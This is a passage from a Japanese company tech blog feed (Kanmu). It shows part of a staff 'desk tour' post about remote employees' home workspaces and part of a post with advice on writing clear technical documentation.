href="https://d.hatena.ne.jp/keyword/%BB%B0%BC%D4">三者</a>三様で、その人らしさや個性が滲み出ており観ていて楽しいんですね。なので、ガジェット系Youtuberがたまに投稿しているデスク環境紹介動画を漁ったりするのが趣味になっています。</p> <p>カンムでは、オフィス徒歩圏内に住むメンバー以外は全員フルリモートで働いています。自分もその一人で、オフィスは恵比寿にあるのですが、入社して以降ずっと<a class="keyword" href="https://d.hatena.ne.jp/keyword/%C9%D9%BB%B3%B8%A9">富山県</a>からのリモートワークです。</p> <p>カンムのかなり自由な働き方を支える、リモートワークやフレックスなどの制度についてはこちらの記事をどうぞ。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fnote.com%2Fnori3_%2Fn%2Fn5065cf1e65e5" title="カンムの働き方 2022年版|nori3" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://note.com/nori3_/n/n5065cf1e65e5">note.com</a></cite></p> <p>物理出社が基本の会社では、メンバーのデスク環境は出社したときに観ることができると思います。ですが、フルリモートだと他の人のデスク環境は基本的には観れません。これが人のデスク環境を観ることが好きな自分にとっては悲しいんですね。</p> <p>そこで「みんなのデスクみたい!」と言ってみたところ、多くの方が参加してくれました。</p> <p>というわけで、個性あふれるデスクツアーのはじまりです。</p> <h3 id="バンドルカード-バックエンドエンジニアbisho-jo氏">バンドルカード バックエンドエンジニア:@bisho-jo氏</h3> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230706/20230706232355.jpg" width="1200" height="798" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="本人コメント">本人コメント</h4> <p>ErgoDoxEZ良</p> <h4 id="編集者コメント">編集者コメント</h4> <p>トップバッターは<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B4%D8%BF%F4%A5%D7%A5%ED%A5%B0%A5%E9%A5%DF%A5%F3%A5%B0">関数プログラミング</a>に強いbisho-jo氏。 縦に並んだ大きな外部ディスプレイが2枚、そして分割キーボードのErgo Dox EZが目を引くデスク。 大きなディスプレイが横に並んでいると視線の移動や首の負担が多くなりがちですが、bisho-jo氏はこれを縦にすることでカバー。なるほど、縦という選択肢があるのか...</p> <h3 id="セキュリティエンジニアmiyaguchi氏">セキュリティエンジニア:@miyaguchi氏</h3> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230706/20230706233327.jpg" width="1200" height="904" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="本人コメント-1">本人コメント</h4> <p>27インチの液晶2枚とErgoDox EZを使っています!<a class="keyword" href="https://d.hatena.ne.jp/keyword/KVM">KVM</a>スイッチで仕事環境と個人の環境をパッと切り替えられるのが推しポイントです。</p> <h4 id="編集者コメント-1">編集者コメント</h4> <p>こちらもErgoDox EZ勢。広い曲面デスクには取り回しのしやすそうなデスクアームタイプのマイクが装備されています。 推しポイントである<a class="keyword" href="https://d.hatena.ne.jp/keyword/KVM">KVM</a>スイッチ。こういう切り替えは毎回面倒ではありつつも、ツールを買う腰が上がらず、ついケーブルの抜き差しを頑張る運用になりがちです。</p> <p>こぼれ話として、miyaguchi氏はこのErgo Doxのキーマップをカスタムしすぎて二度と普通のキーボードが使えない体になったそう。</p> <h3 id="Pool-開発エンジニアcaffeine氏">Pool 開発エンジニア:@caffeine氏</h3> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230728/20230728170043.jpg" width="1200" height="900" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230728/20230728170105.jpg" width="1200" height="900" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="本人コメント-2">本人コメント</h4> <p>私物の<a class="keyword" href="https://d.hatena.ne.jp/keyword/Mac">Mac</a>が<a class="keyword" href="https://d.hatena.ne.jp/keyword/Air">Air</a>になったときにディスプレイを減らしました。27inchくらいのディスプレイを探してます。足元には<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%EB%A1%BC%A5%BF%A1%BC">ルーター</a>などをまとめてます。奥に転がってるのはラズパイとそのケーブル。</p> <h4 id="編集者コメント-2">編集者コメント</h4> <p><a class="keyword" href="https://d.hatena.ne.jp/keyword/MacBook">MacBook</a>を<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%AF%A5%E9%A5%E0%A5%B7%A5%A7%A5%EB%A5%E2%A1%BC%A5%C9">クラムシェルモード</a>で運用し、ディスプレイ一枚ですっきりしたデスク。扱いやすそうなモニターアームで支えられた<a class="keyword" href="https://d.hatena.ne.jp/keyword/Dell">Dell</a>製のディスプレイは、ベゼルが狭いので仕様以上に広く見えますね。良い。 <a class="keyword" href="https://d.hatena.ne.jp/keyword/Happy%20Hacking%20Keyboard">Happy Hacking Keyboard</a>の両脇に装備されたMagic Trackpadと<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%C3%A5%AF%A5%DC%A1%BC%A5%EB">トラックボール</a>マウスにもそれぞれ使用用途が分けられていそうでこだわりが見えます。</p> <h3 id="データアナリストgai氏">データアナリスト:@gai氏</h3> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230728/20230728171339.jpg" width="1200" height="900" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="本人コメント-3">本人コメント</h4> <p>部屋全体もそうなのですが、デスク周りは物少なめです。 基本フルリモートであまり動かない生活になっているので、少しでも健康になれるように昇降デスクと分割キーボードを使ってみてます。</p> <h4 id="編集者コメント-3">編集者コメント</h4> <p>両脇にモニターを構えたスタイル。気分転換ができる昇降デスクにはキーボードスライダーが取り付けてあり、デスク上はすっきりしていて本人の几帳面さが表れています。 シンプルにまとまりつつも、分割キーボードはカラフルで遊び心があっていいですね。デスク道具はどうも色味に欠けるものが多いのでこういったところに個性が光ります。</p> <h3 id="SREsugawara氏">SRE:@sugawara氏</h3> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230910/20230910181005.jpg" width="1200" height="900" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230910/20230910181025.jpg" width="1200" height="900" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="本人コメント-4">本人コメント</h4> <p>ディスプレイはLGの34インチ曲面ディスプレイ、キーボードは<a class="keyword" href="https://d.hatena.ne.jp/keyword/TEX">TEX</a> <a class="keyword" href="https://d.hatena.ne.jp/keyword/Shinobi">Shinobi</a>を使ってます。 細長いサイドテーブルをデスクとくっつけてL字にしています。</p> <h4 id="編集者コメント-4">編集者コメント</h4> <p>大型の局面ディスプレイが目を引くデスク。そしてなんとマウスや<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%C3%A5%AF%A5%D1%A5%C3%A5%C9">トラックパッド</a>が見当たりません。秘密はキーボードにあり。 この「<a class="keyword" href="https://d.hatena.ne.jp/keyword/TEX">TEX</a> <a class="keyword" href="https://d.hatena.ne.jp/keyword/Shinobi">Shinobi</a>」は<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%C3%A5%AF%A5%DD%A5%A4%A5%F3%A5%C8">トラックポイント</a>が搭載されており、手を<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%DB%A1%BC%A5%E0%A5%DD%A5%B8%A5%B7%A5%E7%A5%F3">ホームポジション</a>から動かすことなくPC操作を完結できるとのこと。 <a class="keyword" href="https://d.hatena.ne.jp/keyword/ThinkPad">ThinkPad</a>は知っていましたが、外付けで<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%C3%A5%AF%A5%DD%A5%A4%A5%F3%A5%C8">トラックポイント</a>が搭載されているキーボードがあるのは知らなかったなぁ。</p> <h3 id="バンドルカード-バックエンドエンジニアsano氏">バンドルカード バックエンドエンジニア:@sano氏</h3> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230910/20230910181124.jpg" width="1200" height="800" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="本人コメント-5">本人コメント</h4> <p>リビングで仕事しています。家族もリモートワーク中心でリビングで仕事しているため、会議のときは別部屋に移動することもあります。 道具は <a class="keyword" href="https://d.hatena.ne.jp/keyword/MacBook%20Pro">MacBook Pro</a> のみです。こだわりは、家を職場のような雰囲気にしたくない、でしょうか...。でかいディスプレイや無駄な電子機器はあまり置きたくないというのと、書斎のような部屋も作りたくないと思っています。</p> <h4 id="編集者コメント-5">編集者コメント</h4> <p>ISO8583を人力パースできると噂のsano氏。 こ、構図がおしゃれすぎる...!もちろん、拾い画ではなく、本人のご自宅です。 プライベートに仕事感を持ち込みたくない、という思想からリビングに<a class="keyword" href="https://d.hatena.ne.jp/keyword/MacBook">MacBook</a>一枚で仕事をこなすという無骨なスタイル。カッコいい。</p> <h3 id="Pool開発テックリードnakaji-dayo氏">Pool開発テッ<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%AF%A5%EA%A1%BC%A5%C9">クリード</a>:@nakaji-dayo氏</h3> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230910/20230910181223.jpg" width="1200" height="800" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230910/20230910181236.jpg" width="1200" height="800" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="本人コメント-6">本人コメント</h4> <p>油断すると足が痺れます</p> <h4 id="編集者コメント-6">編集者コメント</h4> <p>こちらもシンプルな<a class="keyword" href="https://d.hatena.ne.jp/keyword/MacBook">MacBook</a>一枚スタイル。畳、襖といった伝統的な雰囲気が目を惹きます。こだわりのお座敷にローテーブルで、普段は正座で業務をしているとのこと。趣があるなぁ... 最近は正座椅子を導入されたとのことで、足の痺れにパッチを当てたそうです。</p> <h3 id="セキュリティエンジニアliva氏">セキュリティエンジニア:@liva氏</h3> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230910/20230910181333.jpg" width="1200" height="675" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230910/20230910181352.jpg" width="1200" height="675" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230910/20230910181408.jpg" width="1200" height="675" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="本人コメント-7">本人コメント</h4> <p><a class="keyword" href="https://d.hatena.ne.jp/keyword/FILCO">FILCO</a> Majestouch 2SS Editionに<a class="keyword" href="https://d.hatena.ne.jp/keyword/FILCO">FILCO</a>の無刻印<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%AD%A1%BC%A5%C8%A5%C3%A5%D7">キートップ</a>を付けてることが一番のこだわり。諸々を扱いやすい配置にして配線していたり、ちょいちょい趣味のものを置いていたりというデスク環境。浮かせてる曲面ディスプレイで動画流しながら作業してる。</p> <h4 id="編集者コメント-7">編集者コメント</h4> <p>プラモデル、ミニチュアやメ<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%AB%A5%CB">カニ</a>カルキーボードなどが置かれており、趣味性に溢れるデスク。ディスプレイは合わせて3枚で、かなり作業範囲が広く取れそうです。壁を背にして、L字型にすることで手の届く範囲に全てがあり、ちょっとした自分のお城みたいに感じられそうです。個人的にこういった配置はかなり好き。</p> <h3 id="データアナリストteshima氏">データアナリスト:@teshima氏</h3> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230910/20230910181516.jpg" width="1200" height="900" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230910/20230910181619.jpg" width="679" height="1200" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="本人コメント-8">本人コメント</h4> <p>FLEXISPOTの昇降デスクを使ってます。<a class="keyword" href="https://d.hatena.ne.jp/keyword/MTG">MTG</a>の時は立ったほうが頭が冴える気がしており、使い分けしてます。私用デスクトップPC(業務時は主にBGMプレーヤーになっている)を天板にぶら下げており、スペース確保と昇降時にケーブルを気にしなくて良くて楽です。CO2モニターで<a class="keyword" href="https://d.hatena.ne.jp/keyword/%C6%F3%BB%C0%B2%BD%C3%BA%C1%C7">二酸化炭素</a>濃度を観測しており、換気の目安にしてます。デスク真横に懸垂バーを設置して、気分転換時に懸垂してます。</p> <h4 id="編集者コメント-8">編集者コメント</h4> <p>昇降デスク・CO2モニター・懸垂バーと健康に配慮したスタイルとなっているデスク環境。デスク作業は集中力が切れると気分転換が難しいですが、すぐに立ち上がったり、ぶら下がったりして気分をリフレッシュできるのはいいですね。曲面になっている天板も注目ポイント。これにより、モニタやキーボード、マウスの位置調整が自然な形でできそうです。</p> <h3 id="機械学習エンジニアfkubota氏"><a class="keyword" href="https://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%B3%D8%BD%AC">機械学習</a>エンジニア:@fkubota氏</h3> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230910/20230910181736.jpg" width="1200" height="900" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="本人コメント-9">本人コメント</h4> <p>とにかく机の上にはなにも置きたくない派です。 昔はデュアルでしたが今はウルトラワイドのシングルディスプレイです。 シングルにするとアプリの切り替え時の目線と<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%DE%A5%A6%A5%B9%A5%DD%A5%A4%A5%F3%A5%BF">マウスポインタ</a>の移動が少なく高速でできるのでこういう形に落ち着きました。 <a class="keyword" href="https://d.hatena.ne.jp/keyword/MacBook">MacBook</a>は机の横に添えるように置いているので圧迫感がなくてとてもいいです。 キーボードは、40%、スプリット、<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%C3%A5%AF%A5%DC%A1%BC%A5%EB">トラックボール</a>付きのkeyball44を使っています。 <a class="keyword" href="https://d.hatena.ne.jp/keyword/Vim">Vim</a>が好きで<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%DB%A1%BC%A5%E0%A5%DD%A5%B8%A5%B7%A5%E7%A5%F3">ホームポジション</a>から離れたくないのでこのキーボードは理想に近いくとても重宝しています。 ちなみに昇降デスクです。</p> <h4 id="編集者コメント-9">編集者コメント</h4> <p>ぱっと見でわかる、並々ならぬデスク環境へのこだわり。シンプルなデスクに見えますが一つ一つにfkubota氏の哲学が見え隠れています。<a class="keyword" href="https://d.hatena.ne.jp/keyword/Vimmer">Vimmer</a>であるfkubota氏は、キーの数が普通よりも40%少なくて、分割されており、<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%C3%A5%AF%A5%DC%A1%BC%A5%EB">トラックボール</a>もついているかなり攻めたキーボードを愛用。ほとんどの操作が<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%DB%A1%BC%A5%E0%A5%DD%A5%B8%A5%B7%A5%E7%A5%F3">ホームポジション</a>から動かさずに完結できるので、かなり作業効率が良さそうです。</p> <h3 id="人事企画katsumata氏">人事企画:@katsumata氏</h3> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230910/20230910181815.jpg" width="1200" height="900" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230910/20230910181929.jpg" width="1200" height="900" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230910/20230910181958.jpg" width="900" height="1200" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="本人コメント-10">本人コメント</h4> <p>業務PC、Switch、<a class="keyword" href="https://d.hatena.ne.jp/keyword/PS4">PS4</a>、プライベートPCをノータイムで切り替えられるのがこだわったポイントで、お昼休憩に入った瞬間に<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%D7%A5%E9%A5%C8%A5%A5%A1%BC%A5%F3">スプラトゥーン</a>を起動できます。(しています)</p> <p>打ち合わせのときにイヤホンをつけるのが耳に負担がかかってストレスだったので、一昨年くらいからマイクスピーカーにしたんですがこれは正解でした。</p> <h4 id="編集者コメント-10">編集者コメント</h4> <p>全体的に白のアイテムで構成された統一感のあるデスク。社内でも無類のゲーム好きであるkatsumata氏のデスクには、もちろんゲームのコントローラーがセット。 配信もされており、オーディオ<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%BB%A5%EC%A5%AF%A5%BF">セレクタ</a>ーのメカメカしさがカッコいいですね。また、マウスには<a class="keyword" href="https://d.hatena.ne.jp/keyword/logicool">logicool</a>の多機能マウス、MX Masterをチョイス。マウスパッドも広めにスペースが取られており、ストレスなく作業ができそうです。</p> <h3 id="Pool開発エンジニア-hata">Pool開発エンジニア @hata</h3> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20231012/20231012231132.jpg" width="1200" height="900" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20231012/20231012231803.jpg" width="1200" height="730" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20231012/20231012231139.jpg" width="1200" height="900" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="本人コメント-11">本人コメント</h4> <p>今回の記事の編集者である自分の仕事部屋です。ぜひ見てもらいたかったので... 普段は猫を抱っこして仕事をしています。昇降デスクとHHKBを分割キーボードのごとく2枚使用するという暴挙により、肩こりなどの体の不調はかなり減りました。また、本に囲まれた生活に<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%A4%A5%C7%A5%F3%A5%C6%A5%A3%A5%C6%A5%A3">アイデンティティ</a>ーがあるので、仕事部屋は本で溢れています。</p> <hr /> <p>というわけで、カンム初のデスクツアーでした。人それぞれかなり個性があって、楽しんでもらえたと思います。 北は北海道から南は沖縄まで、カンムメンバーのほとんどは場所にとらわれず皆思い思いの環境で仕事をしています。気になった方はぜひぜひ↓。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fkanmu.co.jp%2Fjobs%2F" title="採用 | 株式会社カンム" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://kanmu.co.jp/jobs/">kanmu.co.jp</a></cite></p> sho-hata ドキュメントを書く時に考えていること hatenablog://entry/820878482971599720 2023-10-03T10:32:46+09:00 2023-10-03T10:32:46+09:00 ソフトウェアエンジニアの summerwind です。最近は LLM が自分のふりをして代わりに仕事をしてくれるような仕組み作りを趣味にしています。 先日社内で「ドキュメントをうまく書く方法はありますか?」という質問をもらったのですが、普段ドキュメントを書く時に意識をしている要素のようなものはあるものの、それをちゃんと言語化したことがなかったため、抽象的にしか答えることができませんでした。改めて言語化をしてみるのは面白そうだなと感じたので、今回はドキュメントを書く時に考えていることをいくつか書き出してみたいと思います。 想定する読者を決める ドキュメントを書く時にまず最初にやるのは「そのドキュ… <p>ソフトウェアエンジニアの <a href="https://twitter.com/summerwind">summerwind</a> です。最近は LLM が自分のふりをして代わりに仕事をしてくれるような仕組み作りを趣味にしています。</p> <p>先日社内で「ドキュメントをうまく書く方法はありますか?」という質問をもらったのですが、普段ドキュメントを書く時に意識をしている要素のようなものはあるものの、それをちゃんと<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B8%C0%B8%EC%B2%BD">言語化</a>したことがなかったため、抽象的にしか答えることができませんでした。改めて<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B8%C0%B8%EC%B2%BD">言語化</a>をしてみるのは面白そうだなと感じたので、今回はドキュメントを書く時に考えていることをいくつか書き出してみたいと思います。</p> <h2 id="想定する読者を決める">想定する読者を決める</h2> <p>ドキュメントを書く時にまず最初にやるのは「そのドキュメントの想定する読者は誰か」についてを考えることです。よくある想定読者には次のような方々がいます。</p> <ul> <li>同じチームで働くエンジニアのメンバー</li> <li>同じプロジェクトで働くメンバー</li> <li>全メンバー</li> </ul> <p>想定する読者が決まると、ドキュメントに書くべき情報は何か、どのような粒度で情報をまとめるべきなのかの検討がしやすくなります。例えば、様々な職種がいるプロジェクトメンバーに向けたドキュメントでは、いきなり技術用語や詳細な仕様の話を出しても理解が難しくなると思うので、アプリの動きや全体的な構成の話から深掘りしていくような流れを作るのがよさそうだ、といった判断ができるようになります。</p> <h2 id="全体的な構造を決める">全体的な構造を決める</h2> <p>想定読者が決まったら、その読者の理解度合いに応じてドキュメントの構造を決めていきます。例えばプロダクトに新しく追加する機能の説明用ドキュメントを書く場合は、背景や前提となる情報の説明から入り、機能の目的や説明、詳細と深掘りしていくような構成を作ります。</p> <p>きれいな構造を一度にまとめるのは難しいため、まず最初に次のような見出しのリストを作り、ドキュメントに記載が必要と思われる情報をひととおり洗い出します。その後、見出しの順番を入れ替えたりセクションを分割したりというのを繰り返して、ドキュメントを読み進めるごとに詳しい内容が分かるような構成を組み立てていきます。</p> <pre class="code" data-lang="" data-unlink>- 背景 - 前提となる情報 - 目的 - 要件 - 機能詳細 - フローAについて - フローBについて</pre> <h2 id="情報を文章にまとめる">情報を文章にまとめる</h2> <p>全体的な構造がある程度決まったら、構造の見出しに従って情報を可能な限り簡潔な文章にまとめていきます。文章を書くにあたっては、最初に箇条書きリストで記載するべき情報をまとめ、その後、適切に段落を区切った文章を構成するようにしています。</p> <p>以下は以前の<a href="https://tech.kanmu.co.jp/entry/2022/06/27/135210">ブログ記事</a>の中で 3D セキュアの説明をするための文章を考えた際の箇条書きリストのサンプルです。</p> <pre class="code 箇条書きリスト" data-lang="箇条書きリスト" data-unlink># 3D セキュアとは - 決済時にカードの所有者であることを事前に認証する仕組み - 不正利用の防止に役立つ - 3D というのは三次元のことではなく3つのドメインを指す - アクワイアラ、決済ネットワーク、イシュアの3者 - ...</pre> <p>この箇条書きリストをもとにして、次のような文章を書きます。</p> <blockquote><p>3D セキュアは、オンラインなど非対面でクレジットカードを使用して決済をする際に、カードの所有者であることを事前に認証する仕組みです。3D セキュアを使用することで、カード情報の盗用によるオンライン上での不正利用を防止できます。ショッピングサイトなどでカード決済をする際に突然パスワードの入力を求められた、といった経験がある方も多いかもしれません。あれが 3D セキュアによる認証です。 ...</p></blockquote> <p>自分だけが読むようなドキュメントは、脳内の理解した構造に基づく箇条書きリストでドキュメントを書くことがありますが、他の人に読んでもらうことを想定しているドキュメントは読みやすさを重視した簡潔な文章にまとめるようにしています。これは読み手が必ずしも自分と同じ脳内の理解構造を持つとは限らないと考えているためです。</p> <h2 id="適切なフォーマットで表現する">適切なフォーマットで表現する</h2> <p>文章がまとまってきたら、読者にとって読みやすくなるように適切なフォーマットを使って情報の表現を調整します。</p> <p>カンムの社内では広く <a class="keyword" href="https://d.hatena.ne.jp/keyword/Markdown">Markdown</a> が使われているため、例えば次のようなフォーマットを使用します。なお、どのような表現フォーマットを使うかについては、書き手の好みによるところが大きいかもしれません。</p> <hr /> <p>重要な説明や意識しておきたい単語は必要に応じて太字や斜体を使用して表現します。</p> <pre class="code" data-lang="" data-unlink>3DS 最新仕様は **EMV 3-D Secure** です。 3-D というのは三次元のことではなく3つの *Domain* を指しています。</pre> <p>順序のない項目については順序なしリストを使用します。</p> <pre class="code" data-lang="" data-unlink>- プランA: ... - プランB: ... - プランC: ...</pre> <p>手順や流れなどは順序付きリストにまとめます。</p> <pre class="code" data-lang="" data-unlink>1. 最初に A を実行します 2. 次に B を実行します 3. ...</pre> <p>他のドキュメントや Web ページの内容、メッセージなどは引用形式を使用します。</p> <pre class="code" data-lang="" data-unlink>&gt; We choose to go to the moon. We choose to go to the moon in this decade and do the other things, not because they are easy, but because they are hard.</pre> <h2 id="前提となる知識や情報を整理する">前提となる知識や情報を整理する</h2> <p>新たにドキュメントを書く場合は、最初の方にそのドキュメントを理解するのに必要となる前提知識や情報を可能な限りまとめるようにしています。前提となる知識や情報が多くなるような場合は、前提を説明するための個別のドキュメントを用意することもあります。</p> <p>例えば、バンドルカードの <a class="keyword" href="https://d.hatena.ne.jp/keyword/3DS">3DS</a> の実装に関する詳細設計ドキュメントを書く場合を想像してみます。この実装の説明には以下のような前提知識が必要となるため、ドキュメントの最初の方にこれらの説明や考え方について書いておくようにします。</p> <ul> <li><a class="keyword" href="https://d.hatena.ne.jp/keyword/3DS">3DS</a> とは何か</li> <li><a class="keyword" href="https://d.hatena.ne.jp/keyword/3DS">3DS</a> の実装に必要となるシステムは何か</li> </ul> <h2 id="制約条件を整理する">制約条件を整理する</h2> <p>前提となる情報と同様に、設計や手順などのドキュメントを書く際は制約条件も整理して書くようにしています。ここで言う制約条件とは「ドキュメントの書き手の都合では変更できないような事項」のことを指します。制約条件には具体的には以下のようなものがあります。</p> <ul> <li>パートナー企業が管理するシステムの仕様</li> <li>パートナー企業と合意したスケジュール</li> <li>法規制や<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B3%A5%F3%A5%D7%A5%E9%A5%A4%A5%A2%A5%F3%A5%B9">コンプライアンス</a>などに基づく変えることが困難な要件</li> <li>社内で確定したスケジュール</li> </ul> <p>これらの制約条件を可能な限り整理しておくと、ドキュメントに書かれた情報の背景を理解する助けとなり、またドキュメントを土台にした設計レビューなどの議論もしやすくなると考えています。</p> <h2 id="基本的な方針を示す">基本的な方針を示す</h2> <p>前提や制約条件、要件などを記載して議論に使用するようなドキュメント (Design Docなど) を書く場合には制約条件や要件をよく考慮した上で基本的な方針を示す内容を書くようにしています。</p> <ul> <li>2023/12 までに機能 X をリリースする</li> <li>法規制に基づいて機能 Y の追加は必須とする</li> <li>システム構成の制約により<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B3%A5%F3%A5%DD%A1%BC%A5%CD%A5%F3%A5%C8">コンポーネント</a> A に機能 X を実装する</li> </ul> <p>このような基本方針は、ドキュメントの内容をもとにレビューや議論をする際の大枠の合意に役立ちます。もし大枠の合意なしに詳細部分に関する議論に入ってしまうと、大枠部分に方針転換が発生した時に大きな手戻りが発生し、議論が最初からやりなおしになる可能性もあるので、これを避ける意図もあります。</p> <h2 id="運用時の動きを想定した内容を含める">運用時の動きを想定した内容を含める</h2> <p>プロダクトに関するドキュメントを書く際は、できるだけ運用時の動きを想定して、それに関する情報を含めるようにしています。</p> <p>例えば新しい機能の設計をするためのドキュメントには、不具合発生時の調査を想定してログの出力に関する情報を追加したり、障害発生時に起きる可能性がある問題などについて言及するようにします。何かの操作手順に関するドキュメントを書くような場合には、エラーが起きるケースや入力値のバリデーションなどについて可能な限り言及するようにします。</p> <p>どこまで運用時の動きを想定できるかは書き手の経験的な部分に依存するかもしれません。最初に全てを書こうとはせず、思いついたタイミングなどに必要に応じてドキュメントを繰り返し加筆するようにしています。</p> <h2 id="情報の説明と論点や確認事項は明示的に分けて書く">情報の説明と論点や確認事項は明示的に分けて書く</h2> <p>ドキュメントでは情報に関する説明と個人の意向や確認事項を混ぜて書かないように心がけています。これは単純に、ある情報に関する説明の文章の途中に個人の意向や確認事項を混ぜ込んでしまうと、どこまでが事実でどこまでが書き手の意向なのかが分かりにくくなってしまうためです。</p> <p>ドキュメントを土台に何かを議論したり説明したりする場合は、論点や確認事項を個別のセクションに独立した形あるいは <strong>要確認</strong> といったラベルを付与した単独の段落として記述するようにしています。</p> <h2 id="一次ソースへの参照を書く">一次ソースへの参照を書く</h2> <p>パートナー企業が管理するシステムとの接続のための設計ドキュメントや特定のツールを使った運用手順に関するドキュメントには、システムの仕様書や運用の中で扱うツールのマニュアルといった一次ソースへのリンクを記載するようにしています。これは読者がドキュメントには記載がないより詳しい情報を知りたいと思った時に、関連情報へのアクセス手段を提供することを意図しています。</p> <h2 id="継続的に更新する">継続的に更新する</h2> <p><a class="keyword" 